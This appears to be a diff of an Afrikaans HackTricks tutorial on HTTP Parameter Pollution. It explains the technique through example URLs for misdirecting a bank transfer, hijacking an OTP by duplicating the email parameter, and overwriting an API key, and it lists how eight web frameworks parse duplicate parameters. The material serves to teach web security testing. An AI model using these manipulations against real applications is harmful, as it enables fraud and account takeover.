Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -19,66 +21,132 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# HTTP Parameter Pollution (HPP) Oorsig
|
||||
## HTTP Parameter Pollution (HPP) Oorsig
|
||||
|
||||
HTTP Parameter Pollution (HPP) is 'n tegniek waar aanvallers HTTP parameters manipuleer om die gedrag van 'n webtoepassing op onvoorsiene maniere te verander. Hierdie manipulering word gedoen deur HTTP parameters by te voeg, te wysig of te dupliceer. Die effek van hierdie manipulering is nie direk sigbaar vir die gebruiker nie, maar kan die toepassing se funksionaliteit aan die bedienerkant aansienlik verander, met waarneembare impakte aan die kliëntkant.
|
||||
|
||||
## Voorbeeld van HTTP Parameter Pollution (HPP)
|
||||
### Voorbeeld van HTTP Parameter Pollution (HPP)
|
||||
|
||||
'n Banktoepassing transaksie URL:
|
||||
|
||||
- **Oorspronklike URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||
* **Oorspronklike URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||
|
||||
Deur 'n addisionele `from` parameter in te voeg:
|
||||
|
||||
- **Gemanipeerde URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||
* **Gemanipeerde URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||
|
||||
Die transaksie mag verkeerdelik aan `accountC` in plaas van `accountA` gehef word, wat die potensiaal van HPP om transaksies of ander funksies soos wagwoordherstel, 2FA instellings, of API sleutel versoeke te manipuleer, demonstreer.
|
||||
Die transaksie mag verkeerdelik aan `accountC` in plaas van `accountA` gehef word, wat die potensiaal van HPP om transaksies of ander funksies soos wagwoordherstel, 2FA instellings, of API sleutel versoeke te manipuleer, toon.
|
||||
|
||||
### **Tegnologie-Spesifieke Parameter Parsing**
|
||||
#### **Tegnologie-Spesifieke Parameter Parsing**
|
||||
|
||||
- Die manier waarop parameters geparseer en geprioritiseer word, hang af van die onderliggende webtegnologie, wat beïnvloed hoe HPP uitgebuit kan word.
|
||||
- Gereedskap soos [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) help om hierdie tegnologieë en hul parsing gedrag te identifiseer.
|
||||
* Die manier waarop parameters geparseer en geprioritiseer word, hang af van die onderliggende webtegnologie, wat beïnvloed hoe HPP uitgebuit kan word.
|
||||
* Gereedskap soos [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) help om hierdie tegnologieë en hul parsing gedrag te identifiseer.
|
||||
|
||||
## PHP en HPP Exploitatie
|
||||
### PHP en HPP Exploitatie
|
||||
|
||||
**OTP Manipulasie Geval:**
|
||||
|
||||
- **Konteks:** 'n Inlogmeganisme wat 'n Eenmalige Wagwoord (OTP) vereis, is uitgebuit.
|
||||
- **Metode:** Deur die OTP versoek te onderskep met behulp van gereedskap soos Burp Suite, het aanvallers die `email` parameter in die HTTP versoek gedupliceer.
|
||||
- **Uitkoms:** Die OTP, bedoel vir die oorspronklike e-pos, is in plaas daarvan na die tweede e-posadres in die gemanipeerde versoek gestuur. Hierdie fout het ongeoorloofde toegang toegelaat deur die beoogde sekuriteitsmaatreël te omseil.
|
||||
* **Konteks:** 'n Inlogmeganisme wat 'n Eenmalige Wagwoord (OTP) vereis, is uitgebuit.
|
||||
* **Metode:** Deur die OTP versoek te onderskep met behulp van gereedskap soos Burp Suite, het aanvallers die `email` parameter in die HTTP versoek gedupliceer.
|
||||
* **Uitslag:** Die OTP, bedoel vir die oorspronklike e-pos, is in plaas daarvan na die tweede e-posadres in die gemanipeerde versoek gestuur. Hierdie fout het ongeoorloofde toegang moontlik gemaak deur die beoogde sekuriteitsmaatreël te omseil.
|
||||
|
||||
Hierdie scenario beklemtoon 'n kritieke oorsig in die toepassing se agterkant, wat die eerste `email` parameter vir OTP generasie verwerk het, maar die laaste vir aflewering gebruik het.
|
||||
|
||||
**API Sleutel Manipulasie Geval:**
|
||||
|
||||
- **Scenario:** 'n Toepassing laat gebruikers toe om hul API sleutel deur 'n profielinstellingsbladsy op te dateer.
|
||||
- **Aanval Vektor:** 'n Aanvaller ontdek dat deur 'n addisionele `api_key` parameter aan die POST versoek toe te voeg, hulle die uitkoms van die API sleutel opdateringsfunksie kan manipuleer.
|
||||
- **Tegniek:** Deur 'n gereedskap soos Burp Suite te gebruik, skep die aanvaller 'n versoek wat twee `api_key` parameters insluit: een wettig en een kwaadwillig. Die bediener, wat slegs die laaste voorkoms verwerk, werk die API sleutel op na die aanvaller se verskafde waarde.
|
||||
- **Resultaat:** Die aanvaller verkry beheer oor die slagoffer se API funksionaliteit, wat moontlik toegang tot of wysiging van private data ongeoorloofde kan maak.
|
||||
* **Scenario:** 'n Toepassing laat gebruikers toe om hul API sleutel deur 'n profielinstellingsbladsy op te dateer.
|
||||
* **Aanval Vektor:** 'n Aanvaller ontdek dat deur 'n addisionele `api_key` parameter aan die POST versoek toe te voeg, hulle die uitkoms van die API sleutel opdateringsfunksie kan manipuleer.
|
||||
* **Tegniek:** Deur 'n gereedskap soos Burp Suite te gebruik, skep die aanvaller 'n versoek wat twee `api_key` parameters insluit: een wettig en een kwaadwillig. Die bediener, wat slegs die laaste voorkoms verwerk, werk die API sleutel na die aanvaller se verskafde waarde op.
|
||||
* **Resultaat:** Die aanvaller verkry beheer oor die slagoffer se API funksionaliteit, wat moontlik toegang tot of wysiging van private data ongeoorloofde kan maak.
|
||||
|
||||
Hierdie voorbeeld beklemtoon verder die noodsaaklikheid van veilige parameter hantering, veral in funksies so krities soos API sleutel bestuur.
|
||||
|
||||
## Parameter Parsing: Flask vs. PHP
|
||||
### Parameter Parsing: Flask vs. PHP
|
||||
|
||||
Die manier waarop webtegnologieë duplikaat HTTP parameters hanteer, verskil, wat hul vatbaarheid vir HPP aanvalle beïnvloed:
|
||||
|
||||
- **Flask:** Neem die eerste parameter waarde wat teëgekom word, soos `a=1` in 'n query string `a=1&a=2`, en prioritiseer die aanvanklike instansie bo daaropvolgende duplikate.
|
||||
- **PHP (op Apache HTTP Server):** Teenstrydig, prioritiseer die laaste parameter waarde, wat kies vir `a=2` in die gegewe voorbeeld. Hierdie gedrag kan onbedoeld HPP exploits fasiliteer deur die aanvaller se gemanipeerde parameter bo die oorspronklike te eerbiedig.
|
||||
* **Flask:** Neem die eerste parameter waarde wat teëgekom word, soos `a=1` in 'n query string `a=1&a=2`, en prioritiseer die aanvanklike instansie bo daaropvolgende duplikate.
|
||||
* **PHP (op Apache HTTP Server):** Daarenteen prioritiseer die laaste parameter waarde, en kies vir `a=2` in die gegewe voorbeeld. Hierdie gedrag kan onbedoeld HPP exploits fasiliteer deur die aanvaller se gemanipeerde parameter bo die oorspronklike te eerbiedig.
|
||||
|
||||
## Parameter besmetting volgens tegnologie
|
||||
|
||||
Daar resultate is geneem van [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
|
||||
|
||||
### PHP 8.3.11 EN Apache 2.4.62 <a href="#id-9523" id="id-9523"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1255).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. Ignoreer enigiets na %00 in die parameter naam.
|
||||
2. Hanteer naam\[] as 'n array.
|
||||
3. \_GET beteken nie GET Metode nie.
|
||||
4. Gee voorkeur aan die laaste parameter.
|
||||
|
||||
### Ruby 3.3.5 en WEBrick 1.8.2
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1257).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. Gebruik die & en ; afdelers om parameters te skei.
|
||||
2. Nie erkende naam\[].
|
||||
3. Gee voorkeur aan die eerste parameter.
|
||||
|
||||
### Spring MVC 6.0.23 EN Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1258).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping.
|
||||
2. POST RequestMapping & PostMapping Erken naam\[].
|
||||
3. Gee voorkeur aan naam as naam EN naam\[] bestaan.
|
||||
4. Koppel parameters bv. eerste, laaste.
|
||||
5. POST RequestMapping & PostMapping Erken query parameter met Content-Type.
|
||||
|
||||
### **NodeJS** 20.17.0 **EN** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. Erken naam\[].
|
||||
2. Koppel parameters bv. eerste, laaste.
|
||||
|
||||
### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. NIE Erken naam\[].
|
||||
2. Gee voorkeur aan die eerste parameter.
|
||||
|
||||
### Python 3.12.6 EN Werkzeug 3.0.4 EN Flask 3.0.3 <a href="#b853" id="b853"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. NIE Erken naam\[].
|
||||
2. Gee voorkeur aan die eerste parameter.
|
||||
|
||||
### Python 3.12.6 EN Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. NIE Erken naam\[].
|
||||
2. Gee voorkeur aan die laaste parameter.
|
||||
|
||||
### Python 3.12.6 EN Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. NIE Erken naam\[].
|
||||
2. Gee voorkeur aan die laaste parameter.
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
||||
* [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|